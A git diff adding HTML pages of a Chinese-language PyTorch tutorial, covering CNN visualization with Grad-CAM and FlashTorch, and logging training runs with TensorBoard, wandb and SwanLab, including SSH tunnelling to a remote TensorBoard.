#plt.imshow(ft[ :, :].detach(),cmap='gray')
plt.imshow(ft[ :, :].detach())
+

这里我们首先实现了一个hook类,之后在plot_feature函数中,将该hook类的对象注册到要进行可视化的网络的某层中。model在进行前向传播的时候会调用hook的__call__函数,我们也就是在那里存储了当前层的输入和输出。这里的features_out_hook 是一个list,每次前向传播一次,都是调用一次,也就是features_out_hook 长度会增加1。

+

7.2.3 CNN class activation map可视化方法​

+

class activation map (CAM)的作用是判断哪些变量对模型来说是重要的,在CNN可视化的场景下,即判断图像中哪些像素点对预测结果是重要的。除了确定重要的像素点,人们也会对重要区域的梯度感兴趣,因此在CAM的基础上也进一步改进得到了Grad-CAM(以及诸多变种)。CAM和Grad-CAM的示例如下图所示:

+

cam

+

相比可视化卷积核与可视化特征图,CAM系列可视化更为直观,能够一目了然地确定重要区域,进而进行可解释性分析或模型优化改进。CAM系列操作的实现可以通过开源工具包pytorch-grad-cam来实现。

+
    +
  • 安装
  • +
+
pip install grad-cam
+
    +
  • 一个简单的例子
  • +
+
import torch
from torchvision.models import vgg11,resnet18,resnet101,resnext101_32x8d
import matplotlib.pyplot as plt
from PIL import Image
import numpy as np

model = vgg11(pretrained=True)
img_path = './dog.png'
# resize操作是为了和传入神经网络训练图片大小一致
img = Image.open(img_path).resize((224,224))
# 需要将原始图片转为np.float32格式并且在0-1之间
rgb_img = np.float32(img)/255
plt.imshow(img)
+

dog

+
from pytorch_grad_cam import GradCAM,ScoreCAM,GradCAMPlusPlus,AblationCAM,XGradCAM,EigenCAM,FullGrad
from pytorch_grad_cam.utils.model_targets import ClassifierOutputTarget
from pytorch_grad_cam.utils.image import show_cam_on_image

# 将图片转为tensor
img_tensor = torch.from_numpy(rgb_img).permute(2,0,1).unsqueeze(0)

target_layers = [model.features[-1]]
# 选取合适的类激活图,但是ScoreCAM和AblationCAM需要batch_size
cam = GradCAM(model=model,target_layers=target_layers)
targets = [ClassifierOutputTarget(preds)]
# 上方preds需要设定,比如ImageNet有1000类,这里可以设为200
grayscale_cam = cam(input_tensor=img_tensor, targets=targets)
grayscale_cam = grayscale_cam[0, :]
cam_img = show_cam_on_image(rgb_img, grayscale_cam, use_rgb=True)
print(type(cam_img))
Image.fromarray(cam_img)
+

grad_cam

+

7.2.4 使用FlashTorch快速实现CNN可视化​

+

聪明的你可能要问了,已经202x年了,难道还要我们手把手去写各种CNN可视化的代码吗?答案当然是否定的。随着PyTorch社区的努力,目前已经有不少开源工具能够帮助我们快速实现CNN可视化。这里我们介绍其中的一个——FlashTorch。

+

(注:使用中发现该package对环境有要求,如果下方代码运行报错,请参考作者给出的配置或者Colab运行环境:https://github.com/MisaOgura/flashtorch/issues/39)

+
    +
  • 安装
  • +
+
pip install flashtorch
+
    +
  • 可视化梯度
  • +
+
# Download example images
# !mkdir -p images
# !wget -nv \
# https://github.com/MisaOgura/flashtorch/raw/master/examples/images/great_grey_owl.jpg \
# https://github.com/MisaOgura/flashtorch/raw/master/examples/images/peacock.jpg \
# https://github.com/MisaOgura/flashtorch/raw/master/examples/images/toucan.jpg \
# -P /content/images

import matplotlib.pyplot as plt
import torchvision.models as models
from flashtorch.utils import apply_transforms, load_image
from flashtorch.saliency import Backprop

model = models.alexnet(pretrained=True)
backprop = Backprop(model)

image = load_image('/content/images/great_grey_owl.jpg')
owl = apply_transforms(image)

target_class = 24
backprop.visualize(owl, target_class, guided=True, use_gpu=True)
+

ft-gradient

+
    +
  • 可视化卷积核
  • +
+
import torchvision.models as models
from flashtorch.activmax import GradientAscent

model = models.vgg16(pretrained=True)
g_ascent = GradientAscent(model.features)

# specify layer and filter info
conv5_1 = model.features[24]
conv5_1_filters = [45, 271, 363, 489]

g_ascent.visualize(conv5_1, conv5_1_filters, title="VGG16: conv5_1")
+

ft-activate

+

参考资料​

+
    +
  1. https://andrewhuman.github.io/cnn-hidden-layout_search
  2. +
  3. https://cloud.tencent.com/developer/article/1747222
  4. +
  5. https://github.com/jacobgil/pytorch-grad-cam
  6. +
  7. https://github.com/MisaOgura/flashtorch
  8. +
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第七章/7.3 使用TensorBoard可视化训练过程/index.html b/en/docs/个人知识库/AI/PyTorch/第七章/7.3 使用TensorBoard可视化训练过程/index.html new file mode 100644 index 0000000..ee49567 --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第七章/7.3 使用TensorBoard可视化训练过程/index.html @@ -0,0 +1,161 @@ + + + + + +7.3 使用TensorBoard可视化训练过程.md | wjlin0 + + + + + + + +

7.3 使用TensorBoard可视化训练过程.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:26
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

7.3 使用TensorBoard可视化训练过程

+

训练过程的可视化在深度学习模型训练中扮演着重要的角色。学习的过程是一个优化的过程,我们需要找到最优的点作为训练过程的输出产物。一般来说,我们会结合训练集的损失函数和验证集的损失函数,绘制两条损失函数的曲线来确定训练的终点,找到对应的模型用于测试。那么除了记录训练中每个epoch的loss值,能否实时观察损失函数曲线的变化,及时捕捉模型的变化呢?

+

此外,我们也希望可视化其他内容,如输入数据(尤其是图片)、模型结构、参数分布等,这些对于我们在debug中查找问题来源非常重要(比如输入数据和我们想象的是否一致)。

+

TensorBoard作为一款可视化工具能够满足上面提到的各种需求。TensorBoard由TensorFlow团队开发,最早和TensorFlow配合使用,后来广泛应用于各种深度学习框架的可视化中来。本节我们探索TensorBoard的强大功能,希望帮助读者“从入门到精通”。

+

经过本节的学习,你将收获:

+
    +
  • 安装TensorBoard工具
  • +
  • 了解TensorBoard可视化的基本逻辑
  • +
  • 掌握利用TensorBoard实现训练过程可视化
  • +
  • 掌握利用TensorBoard完成其他内容的可视化
  • +
+

7.3.1 TensorBoard安装​

+

在已安装PyTorch的环境下使用pip安装即可:

+
pip install tensorboardX
+

也可以使用PyTorch自带的tensorboard工具,此时不需要额外安装tensorboard。

+

7.3.2 TensorBoard可视化的基本逻辑​

+

我们可以将TensorBoard看做一个记录员,它可以记录我们指定的数据,包括模型每一层的feature map,权重,以及训练loss等等。TensorBoard将记录下来的内容保存在一个用户指定的文件夹里,程序不断运行中TensorBoard会不断记录。记录下的内容可以通过网页的形式加以可视化。

+

7.3.3 TensorBoard的配置与启动​

+

在使用TensorBoard前,我们需要先指定一个文件夹供TensorBoard保存记录下来的数据。然后调用tensorboard中的SummaryWriter作为上述“记录员”

+
from tensorboardX import SummaryWriter

writer = SummaryWriter('./runs')
+

上面的操作实例化SummaryWritter为变量writer,并指定writer的输出目录为当前目录下的"runs"目录。也就是说,之后tensorboard记录下来的内容都会保存在runs。

+

如果使用PyTorch自带的tensorboard,则采用如下方式import:

+
from torch.utils.tensorboard import SummaryWriter
+

这里聪明的你可能发现了,是否可以手动往runs文件夹里添加数据用于可视化,或者把runs文件夹里的数据放到其他机器上可视化呢?答案是可以的。只要数据被记录,你可以将这个数据分享给其他人,其他人在安装了tensorboard的情况下就会看到你分享的数据。

+

启动tensorboard也很简单,在命令行中输入

+
tensorboard --logdir=/path/to/logs/ --port=xxxx
+

其中“path/to/logs/"是指定的保存tensorboard记录结果的文件路径(等价于上面的“./runs",port是外部访问TensorBoard的端口号,可以通过访问ip:port访问tensorboard,这一操作和jupyter notebook的使用类似。如果不是在服务器远程使用的话则不需要配置port。

+

有时,为了tensorboard能够不断地在后台运行,也可以使用nohup命令或者tmux工具来运行tensorboard。大家可以自行搜索,这里不展开讨论了。

+

下面,我们将模拟深度学习模型训练过程,来介绍如何利用TensorBoard可视化其中的各个部分。

+

7.3.4 TensorBoard模型结构可视化​

+

首先定义模型:

+
import torch.nn as nn

class Net(nn.Module):
def __init__(self):
super(Net, self).__init__()
self.conv1 = nn.Conv2d(in_channels=3,out_channels=32,kernel_size = 3)
self.pool = nn.MaxPool2d(kernel_size = 2,stride = 2)
self.conv2 = nn.Conv2d(in_channels=32,out_channels=64,kernel_size = 5)
self.adaptive_pool = nn.AdaptiveMaxPool2d((1,1))
self.flatten = nn.Flatten()
self.linear1 = nn.Linear(64,32)
self.relu = nn.ReLU()
self.linear2 = nn.Linear(32,1)
self.sigmoid = nn.Sigmoid()

def forward(self,x):
x = self.conv1(x)
x = self.pool(x)
x = self.conv2(x)
x = self.pool(x)
x = self.adaptive_pool(x)
x = self.flatten(x)
x = self.linear1(x)
x = self.relu(x)
x = self.linear2(x)
y = self.sigmoid(x)
return y

model = Net()
print(model)
+

输出如下:

+
Net(
(conv1): Conv2d(3, 32, kernel_size=(3, 3), stride=(1, 1))
(pool): MaxPool2d(kernel_size=2, stride=2, padding=0, dilation=1, ceil_mode=False)
(conv2): Conv2d(32, 64, kernel_size=(5, 5), stride=(1, 1))
(adaptive_pool): AdaptiveMaxPool2d(output_size=(1, 1))
(flatten): Flatten(start_dim=1, end_dim=-1)
(linear1): Linear(in_features=64, out_features=32, bias=True)
(relu): ReLU()
(linear2): Linear(in_features=32, out_features=1, bias=True)
(sigmoid): Sigmoid()
)
+

可视化模型的思路和7.1中介绍的方法一样,都是给定一个输入数据,前向传播后得到模型的结构,再通过TensorBoard进行可视化,使用add_graph:

+
writer.add_graph(model, input_to_model = torch.rand(1, 3, 224, 224))
writer.close()
+

展示结果如下(其中框内部分初始会显示为“Net",需要双击后才会展开):

+

tb_model

+

7.3.5 TensorBoard图像可视化​

+

当我们做图像相关的任务时,可以方便地将所处理的图片在tensorboard中进行可视化展示。

+
    +
  • 对于单张图片的显示使用add_image
  • +
  • 对于多张图片的显示使用add_images
  • +
  • 有时需要使用torchvision.utils.make_grid将多张图片拼成一张图片后,用writer.add_image显示
  • +
+

这里我们使用torchvision的CIFAR10数据集为例:

+
import torchvision
from torchvision import datasets, transforms
from torch.utils.data import DataLoader

transform_train = transforms.Compose(
[transforms.ToTensor()])
transform_test = transforms.Compose(
[transforms.ToTensor()])

train_data = datasets.CIFAR10(".", train=True, download=True, transform=transform_train)
test_data = datasets.CIFAR10(".", train=False, download=True, transform=transform_test)
train_loader = DataLoader(train_data, batch_size=64, shuffle=True)
test_loader = DataLoader(test_data, batch_size=64)

images, labels = next(iter(train_loader))

# 仅查看一张图片
writer = SummaryWriter('./pytorch_tb')
writer.add_image('images[0]', images[0])
writer.close()

# 将多张图片拼接成一张图片,中间用黑色网格分割
# create grid of images
writer = SummaryWriter('./pytorch_tb')
img_grid = torchvision.utils.make_grid(images)
writer.add_image('image_grid', img_grid)
writer.close()

# 将多张图片直接写入
writer = SummaryWriter('./pytorch_tb')
writer.add_images("images",images,global_step = 0)
writer.close()
+

依次运行上面三组可视化(注意不要同时在notebook的一个单元格内运行),得到的可视化结果如下(最后运行的结果在最上面):

+

tb_images

+

tb_image_gird

+

tb_image

+

另外注意上方menu部分,刚刚只有“GRAPHS"栏对应模型的可视化,现在则多出了”IMAGES“栏对应图像的可视化。左侧的滑动按钮可以调整图像的亮度和对比度。

+

此外,除了可视化原始图像,TensorBoard提供的可视化方案自然也适用于我们在Python中用matplotlib等工具绘制的其他图像,用于展示分析结果等内容。

+

7.3.6 TensorBoard连续变量可视化​

+

TensorBoard可以用来可视化连续变量(或时序变量)的变化过程,通过add_scalar实现:

+
writer = SummaryWriter('./pytorch_tb')
for i in range(500):
x = i
y = x**2
writer.add_scalar("x", x, i) #日志中记录x在第step i 的值
writer.add_scalar("y", y, i) #日志中记录y在第step i 的值
writer.close()
+

可视化结果如下:

+

tb_scalar

+

如果想在同一张图中显示多个曲线,则需要分别建立存放子路径(使用SummaryWriter指定路径即可自动创建,但需要在tensorboard运行目录下),同时在add_scalar中修改曲线的标签使其一致即可:

+
writer1 = SummaryWriter('./pytorch_tb/x')
writer2 = SummaryWriter('./pytorch_tb/y')
for i in range(500):
x = i
y = x*2
writer1.add_scalar("same", x, i) #日志中记录x在第step i 的值
writer2.add_scalar("same", y, i) #日志中记录y在第step i 的值
writer1.close()
writer2.close()
+

tb_scalar_twolines

+

这里也可以用一个writer,但for循环中不断创建SummaryWriter不是一个好选项。此时左下角的Runs部分出现了勾选项,我们可以选择我们想要可视化的曲线。曲线名称对应存放子路径的名称(这里是x和y)。

+

这部分功能非常适合损失函数的可视化,可以帮助我们更加直观地了解模型的训练情况,从而确定最佳的checkpoint。左侧的Smoothing滑动按钮可以调整曲线的平滑度,当损失函数震荡较大时,将Smoothing调大有助于观察loss的整体变化趋势。

+

7.3.7 TensorBoard参数分布可视化​

+

当我们需要对参数(或向量)的变化,或者对其分布进行研究时,可以方便地用TensorBoard来进行可视化,通过add_histogram实现。下面给出一个例子:

+
import torch
import numpy as np

# 创建正态分布的张量模拟参数矩阵
def norm(mean, std):
t = std * torch.randn((100, 20)) + mean
return t

writer = SummaryWriter('./pytorch_tb/')
for step, mean in enumerate(range(-10, 10, 1)):
w = norm(mean, 1)
writer.add_histogram("w", w, step)
writer.flush()
writer.close()
+

结果如下:

+

tb_hist

+

7.3.8 服务器端使用TensorBoard​

+

一般情况下,我们会连接远程的服务器来对模型进行训练,但由于服务器端是没有浏览器的(纯命令模式),因此,我们需要进行相应的配置,才可以在本地浏览器,使用tensorboard查看服务器运行的训练过程。 +本文提供以下几种方式进行,其中前两种方法都是建立SSH隧道,实现远程端口到本机端口的转发,最后一种方法适用于没有下载Xshell等SSH连接工具的用户

+
    +
  • +

    MobaXterm

    +
      +
    1. 在MobaXterm点击Tunneling
    2. +
    3. 选择New SSH tunnel,我们会出现以下界面。
    4. +
    +

    ssh_tunnel +3. 对新建的SSH通道做以下设置,第一栏我们选择Local port forwarding,< Remote Server>我们填写localhost,< Remote port>填写6006,tensorboard默认会在6006端口进行显示,我们也可以根据 tensorboard --logdir=/path/to/logs/ --port=xxxx的命令中的port进行修改,< SSH server> 填写我们连接服务器的ip地址,<SSH login>填写我们连接的服务器的用户名,<SSH port>填写端口号(通常为22),< forwarded port>填写的是本地的一个端口号,以便我们后面可以对其进行访问。 +4. 设定好之后,点击Save,然后Start。在启动tensorboard,这样我们就可以在本地的浏览器输入http://localhost:6006/对其进行访问了

    +
  • +
  • +

    Xshell

    +
      +
    1. Xshell的连接方法与MobaXterm的连接方式本质上是一样的,具体操作如下:
    2. +
    3. 连接上服务器后,打开当前会话属性,会出现下图,我们选择隧道,点击添加 +xhell_ui
    4. +
    5. 按照下方图进行选择,其中目标主机代表的是服务器,源主机代表的是本地,端口的选择根据实际情况而定。 +xhell_set
    6. +
    7. 启动tensorboard,在本地127.0.0.1:6006 或者 localhost:6006进行访问。
    8. +
    +
  • +
  • +

    SSH

    +
      +
    1. 该方法是将服务器的6006端口重定向到自己机器上来,我们可以在本地的终端里输入以下代码:其中16006代表映射到本地的端口,6006代表的是服务器上的端口。
    2. +
    +
      ssh -L 16006:127.0.0.1:6006 username@remote_server_ip
    +
      +
    1. 在服务上使用默认的6006端口正常启动tensorboard
    2. +
    +
    tensorboard --logdir=xxx --port=6006
    +
      +
    1. 在本地的浏览器输入地址
    2. +
    +
    127.0.0.1:16006 或者 localhost:16006
    +
  • +
+

7.3.9 总结​

+

对于TensorBoard来说,它的功能是很强大的,可以记录的东西不只限于本节所介绍的范围。

+

主要的实现方案是构建一个SummaryWriter,然后通过add_XXX()函数来实现。

+

其实TensorBoard的逻辑还是很简单的,它的基本逻辑就是文件的读写逻辑,写入想要可视化的数据,然后TensorBoard自己会读出来。

+

参考资料​

+
    +
  1. https://blog.csdn.net/Python_Ai_Road/article/details/107704530
  2. +
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第七章/7.4 使用wandb可视化训练过程/index.html b/en/docs/个人知识库/AI/PyTorch/第七章/7.4 使用wandb可视化训练过程/index.html new file mode 100644 index 0000000..fb61909 --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第七章/7.4 使用wandb可视化训练过程/index.html @@ -0,0 +1,78 @@ + + + + + +7.4 使用wandb可视化训练过程.md | wjlin0 + + + + + + + +

7.4 使用wandb可视化训练过程.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:26
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

7.4 使用wandb可视化训练过程

+

在上一节中,我们使用了Tensorboard可视化训练过程,但是Tensorboard对数据的保存仅限于本地,也很难分析超参数不同对实验的影响。wandb的出现很好的解决了这些问题,因此在本章节中,我们将对wandb进行简要介绍。 +wandb是Weights & Biases的缩写,它能够自动记录模型训练过程中的超参数和输出指标,然后可视化和比较结果,并快速与其他人共享结果。目前它能够和Jupyter、TensorFlow、Pytorch、Keras、Scikit、fast.ai、LightGBM、XGBoost一起结合使用。

+

经过本节的学习,你将收获:

+
    +
  • wandb的安装
  • +
  • wandb的使用
  • +
  • demo演示
  • +
+

7.4.1 wandb的安装​

+

wandb的安装非常简单,我们只需要使用pip安装即可。

+
pip install wandb
+

安装完成后,我们需要在官网注册一个账号并复制下自己的API keys,然后在本地使用下面的命令登录。

+
wandb login
+

这时,我们会看到下面的界面,只需要粘贴你的API keys即可。 +

+

7.4.2 wandb的使用​

+

wandb的使用也非常简单,只需要在代码中添加几行代码即可。

+
import wandb
wandb.init(project='my-project', entity='my-name')
+

这里的project和entity是你在wandb上创建的项目名称和用户名,如果你还没有创建项目,可以参考官方文档。

+

7.4.3 demo演示​

+

下面我们使用一个CIFAR10的图像分类demo来演示wandb的使用。

+

import random # to set the python random seed
import numpy # to set the numpy random seed
import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
from torchvision import datasets, transforms
from torch.utils.data import DataLoader
from torchvision.models import resnet18
import warnings
warnings.filterwarnings('ignore')
+

使用wandb的第一步是初始化wandb,这里我们使用wandb.init()函数来初始化wandb,其中project是你在wandb上创建的项目名称,name是你的实验名称。

+
# 初始化wandb
import wandb
wandb.init(project="thorough-pytorch",
name="wandb_demo",)
+

使用wandb的第二步是设置超参数,这里我们使用wandb.config来设置超参数,这样我们就可以在wandb的界面上看到超参数的变化。wandb.config的使用方法和字典类似,我们可以使用config.key的方式来设置超参数。

+
# 超参数设置
config = wandb.config # config的初始化
config.batch_size = 64
config.test_batch_size = 10
config.epochs = 5
config.lr = 0.01
config.momentum = 0.1
config.use_cuda = True
config.seed = 2043
config.log_interval = 10

# 设置随机数
def set_seed(seed):
random.seed(config.seed)
torch.manual_seed(config.seed)
numpy.random.seed(config.seed)

+

第三步是构建训练和测试的pipeline,这里我们使用pytorch的CIFAR10数据集和resnet18来构建训练和测试的pipeline。

+
def train(model, device, train_loader, optimizer):
model.train()

for batch_id, (data, target) in enumerate(train_loader):
data, target = data.to(device), target.to(device)
optimizer.zero_grad()
output = model(data)
criterion = nn.CrossEntropyLoss()
loss = criterion(output, target)
loss.backward()
optimizer.step()

# wandb.log用来记录一些日志(accuracy,loss and epoch), 便于随时查看网路的性能
def test(model, device, test_loader, classes):
model.eval()
test_loss = 0
correct = 0
example_images = []

with torch.no_grad():
for data, target in test_loader:
data, target = data.to(device), target.to(device)
output = model(data)
criterion = nn.CrossEntropyLoss()
test_loss += criterion(output, target).item()
pred = output.max(1, keepdim=True)[1]
correct += pred.eq(target.view_as(pred)).sum().item()
example_images.append(wandb.Image(
data[0], caption="Pred:{} Truth:{}".format(classes[pred[0].item()], classes[target[0]])))

# 使用wandb.log 记录你想记录的指标
wandb.log({
"Examples": example_images,
"Test Accuracy": 100. * correct / len(test_loader.dataset),
"Test Loss": test_loss
})

wandb.watch_called = False


def main():
use_cuda = config.use_cuda and torch.cuda.is_available()
device = torch.device("cuda:0" if use_cuda else "cpu")
kwargs = {'num_workers': 1, 'pin_memory': True} if use_cuda else {}

# 设置随机数
set_seed(config.seed)
torch.backends.cudnn.deterministic = True

# 数据预处理
transform = transforms.Compose([
transforms.ToTensor(),
transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))
])

# 加载数据
train_loader = DataLoader(datasets.CIFAR10(
root='dataset',
train=True,
download=True,
transform=transform
), batch_size=config.batch_size, shuffle=True, **kwargs)

test_loader = DataLoader(datasets.CIFAR10(
root='dataset',
train=False,
download=True,
transform=transform
), batch_size=config.batch_size, shuffle=False, **kwargs)

classes = ('plane', 'car', 'bird', 'cat', 'deer', 'dog', 'frog', 'horse', 'ship', 'truck')

model = resnet18(pretrained=True).to(device)
optimizer = optim.SGD(model.parameters(), lr=config.lr, momentum=config.momentum)

wandb.watch(model, log="all")
for epoch in range(1, config.epochs + 1):
train(model, device, train_loader, optimizer)
test(model, device, test_loader, classes)

# 本地和云端模型保存
torch.save(model.state_dict(), 'model.pth')
wandb.save('model.pth')


if __name__ == '__main__':
main()

+

当我们运行完上面的代码后,我们就可以在wandb的界面上看到我们的训练结果了和系统的性能指标。同时,我们还可以在setting里面设置训练完给我们发送邮件,这样我们就可以在训练完之后及时的查看训练结果了。 + + +

+

我们可以发现,使用wandb可以很方便的记录我们的训练结果,除此之外,wandb还为我们提供了很多的功能,比如:模型的超参数搜索,模型的版本控制,模型的部署等等。这些功能都可以帮助我们更好的管理我们的模型,更好的进行模型的迭代和优化。这些功能我们在后面的更新中会进行介绍。

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第七章/7.5 使用SwanLab可视化训练过程/index.html b/en/docs/个人知识库/AI/PyTorch/第七章/7.5 使用SwanLab可视化训练过程/index.html new file mode 100644 index 0000000..b2216b8 --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第七章/7.5 使用SwanLab可视化训练过程/index.html @@ -0,0 +1,86 @@ + + + + + +7.5 使用SwanLab可视化训练过程.md | wjlin0 + + + + + + + +

7.5 使用SwanLab可视化训练过程.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:26
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

7.5 使用SwanLab可视化训练过程

+

在上一节中,我们使用了Wandb可视化训练过程,但是Wandb将数据存储在海外,在国内的网络环境下访问速度较慢,且容易断连。SwanLab是一个由中国团队开发的训练可视化平台,国内访问稳定流畅,在功能上支持自动记录模型训练过程中的超参数和输出指标,然后可视化和比较结果,并快速与其他人共享结果。目前它还支持监控昇腾NPU的训练情况,能够和PyTorch、Keras、MMDetection、LLaMA Factory、LightGBM、XGBoost等框架结合使用。

+

经过本节的学习,你将收获:

+
    +
  • SwanLab的安装
  • +
  • SwanLab的基本使用
  • +
  • SwanLab跟踪MNIST案例
  • +
  • SwanLab跟踪YOLO案例
  • +
+

7.5.1 SwanLab的安装​

+

SwanLab的安装非常简单,我们只需要使用pip安装即可。

+
pip install swanlab
+

安装完成后,我们需要在官网注册一个账号并复制下自己的API keys,然后在本地使用下面的命令登录。

+
swanlab login
+

这时,我们会看到下面的界面,只需要粘贴你的API keys即可。

+

+

7.5.2 SwanLab的基本使用​

+

SwanLab的使用也非常简单,只需要在代码中添加几行代码即可,大概分为两步。

+

第一步,初始化项目:

+
import swanlab

swanlab.init(project="my-project", experiment_name="first_exp")
+

这里的project和experiment_name是你在swanlab上创建的项目名称和实验名。

+

项目和实验的关系有点类似PC中的文件夹和文件的关系,你的每次训练进程都是一个实验,而项目是实验的集合,用来进行多个实验之间的对比与管理。

+

第二步,记录数据:

+
for i in range(10):
swanlab.log({"loss": 1-0.1*i, "acc": 0.1*i})
+

这里的log是记录指标的函数,它接收一个字典,字典的key是指标的名称,value是指标的值。

+

Hello World代码

+
import swanlab
import random

# 创建一个SwanLab项目
swanlab.init(
# 设置项目名
project="my-awesome-project",

# 设置超参数
config={
"learning_rate": 0.02,
"architecture": "CNN",
"dataset": "CIFAR-100",
"epochs": 10
}
)

# 模拟一次训练
epochs = 10
offset = random.random() / 5
for epoch in range(2, epochs):
acc = 1 - 2 ** -epoch - random.random() / epoch - offset
loss = 2 ** -epoch + random.random() / epoch + offset

# 记录训练指标
swanlab.log({"acc": acc, "loss": loss})

# [可选] 完成训练,这在notebook环境中是必要的
swanlab.finish()
+

当我们运行完上面的代码后,就可以在swanlab的界面看到我们的训练结果了:

+

swanlab hello world

+

7.5.3 SwanLab跟踪MNIST案例​

+

下面我们使用一个MNSIT手写体识别的demo来演示SwanLab的使用。 预览链接。

+
import os
import torch
from torch import nn, optim, utils
import torch.nn.functional as F
import torchvision
from torchvision.datasets import MNIST
from torchvision.transforms import ToTensor
import swanlab

# CNN网络构建
class ConvNet(nn.Module):
def __init__(self):
super().__init__()
# 1,28x28
self.conv1 = nn.Conv2d(1, 10, 5) # 10, 24x24
self.conv2 = nn.Conv2d(10, 20, 3) # 128, 10x10
self.fc1 = nn.Linear(20 * 10 * 10, 500)
self.fc2 = nn.Linear(500, 10)

def forward(self, x):
in_size = x.size(0)
out = self.conv1(x) # 24
out = F.relu(out)
out = F.max_pool2d(out, 2, 2) # 12
out = self.conv2(out) # 10
out = F.relu(out)
out = out.view(in_size, -1)
out = self.fc1(out)
out = F.relu(out)
out = self.fc2(out)
out = F.log_softmax(out, dim=1)
return out


# 捕获并可视化前20张图像
def log_images(loader, num_images=16):
images_logged = 0
logged_images = []
for images, labels in loader:
# images: batch of images, labels: batch of labels
for i in range(images.shape[0]):
if images_logged < num_images:
# 使用swanlab.Image将图像转换为wandb可视化格式
logged_images.append(swanlab.Image(images[i], caption=f"Label: {labels[i]}"))
images_logged += 1
else:
break
if images_logged >= num_images:
break
swanlab.log({"MNIST-Preview": logged_images})


def train(model, device, train_dataloader, optimizer, criterion, epoch, num_epochs):
model.train()
# 1. 循环调用train_dataloader,每次取出1个batch_size的图像和标签
for iter, (inputs, labels) in enumerate(train_dataloader):
inputs, labels = inputs.to(device), labels.to(device)
optimizer.zero_grad()
# 2. 传入到resnet18模型中得到预测结果
outputs = model(inputs)
# 3. 将结果和标签传入损失函数中计算交叉熵损失
loss = criterion(outputs, labels)
# 4. 根据损失计算反向传播
loss.backward()
# 5. 优化器执行模型参数更新
optimizer.step()
print('Epoch [{}/{}], Iteration [{}/{}], Loss: {:.4f}'.format(epoch, num_epochs, iter + 1, len(train_dataloader),
loss.item()))
# 6. 每20次迭代,用SwanLab记录一下loss的变化
if iter % 20 == 0:
swanlab.log({"train/loss": loss.item()})

def test(model, device, val_dataloader, epoch):
model.eval()
correct = 0
total = 0
with torch.no_grad():
# 1. 循环调用val_dataloader,每次取出1个batch_size的图像和标签
for inputs, labels in val_dataloader:
inputs, labels = inputs.to(device), labels.to(device)
# 2. 传入到resnet18模型中得到预测结果
outputs = model(inputs)
# 3. 获得预测的数字
_, predicted = torch.max(outputs, 1)
total += labels.size(0)
# 4. 计算与标签一致的预测结果的数量
correct += (predicted == labels).sum().item()

# 5. 得到最终的测试准确率
accuracy = correct / total
# 6. 用SwanLab记录一下准确率的变化
swanlab.log({"val/accuracy": accuracy}, step=epoch)


if __name__ == "__main__":

#检测是否支持mps
try:
use_mps = torch.backends.mps.is_available()
except AttributeError:
use_mps = False

#检测是否支持cuda
if torch.cuda.is_available():
device = "cuda"
elif use_mps:
device = "mps"
else:
device = "cpu"

# 初始化swanlab
run = swanlab.init(
project="MNIST-example",
experiment_name="PlainCNN",
config={
"model": "ResNet18",
"optim": "Adam",
"lr": 1e-4,
"batch_size": 256,
"num_epochs": 10,
"device": device,
},
)

# 设置MNIST训练集和验证集
dataset = MNIST(os.getcwd(), train=True, download=True, transform=ToTensor())
train_dataset, val_dataset = utils.data.random_split(dataset, [55000, 5000])

train_dataloader = utils.data.DataLoader(train_dataset, batch_size=run.config.batch_size, shuffle=True)
val_dataloader = utils.data.DataLoader(val_dataset, batch_size=8, shuffle=False)

# (可选)看一下数据集的前16张图像
log_images(train_dataloader, 16)

# 初始化模型
model = ConvNet()
model.to(torch.device(device))

# 打印模型
print(model)

# 定义损失函数和优化器
criterion = nn.CrossEntropyLoss()
optimizer = optim.Adam(model.parameters(), lr=run.config.lr)

# 开始训练和测试循环
for epoch in range(1, run.config.num_epochs+1):
swanlab.log({"train/epoch": epoch}, step=epoch)
train(model, device, train_dataloader, optimizer, criterion, epoch, run.config.num_epochs)
if epoch % 2 == 0:
test(model, device, val_dataloader, epoch)

# 保存模型
# 如果不存在checkpoint文件夹,则自动创建一个
if not os.path.exists("checkpoint"):
os.makedirs("checkpoint")
torch.save(model.state_dict(), 'checkpoint/latest_checkpoint.pth')
+

运行代码后,我们查看实验结果:

+

+

+

7.5.4 SwanLab跟踪YOLO案例​

+

下面我们使用一个Ultralytics框架训练Yolo模型的demo来演示SwanLab的使用。 预览链接。

+
from ultralytics import YOLO
from swanlab.integration.ultralytics import add_swanlab_callback


if __name__ == "__main__":
model = YOLO("yolov8n.yaml")
model.load()
# 添加swanlab回调
add_swanlab_callback(model)

model.train(
data="./coco128.yaml",
epochs=3,
imgsz=320,
)
+

+

+

+

我们可以发现,使用swanlab可以很方便地可视化训练过程和在线查看实验进展。更多功能请见官方文档。

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第七章/index.html b/en/docs/个人知识库/AI/PyTorch/第七章/index.html new file mode 100644 index 0000000..15ffcfc --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第七章/index.html @@ -0,0 +1,46 @@ + + + + + +第七章 | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第三章/3.1 思考:完成深度学习的必要部分/index.html b/en/docs/个人知识库/AI/PyTorch/第三章/3.1 思考:完成深度学习的必要部分/index.html new file mode 100644 index 0000000..a7a5dcf --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第三章/3.1 思考:完成深度学习的必要部分/index.html @@ -0,0 +1,57 @@ + + + + + +3.1 思考:完成深度学习的必要部分.md | wjlin0 + + + + + + + +

3.1 思考:完成深度学习的必要部分.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:15
+ + + + + + + + + + + + + +
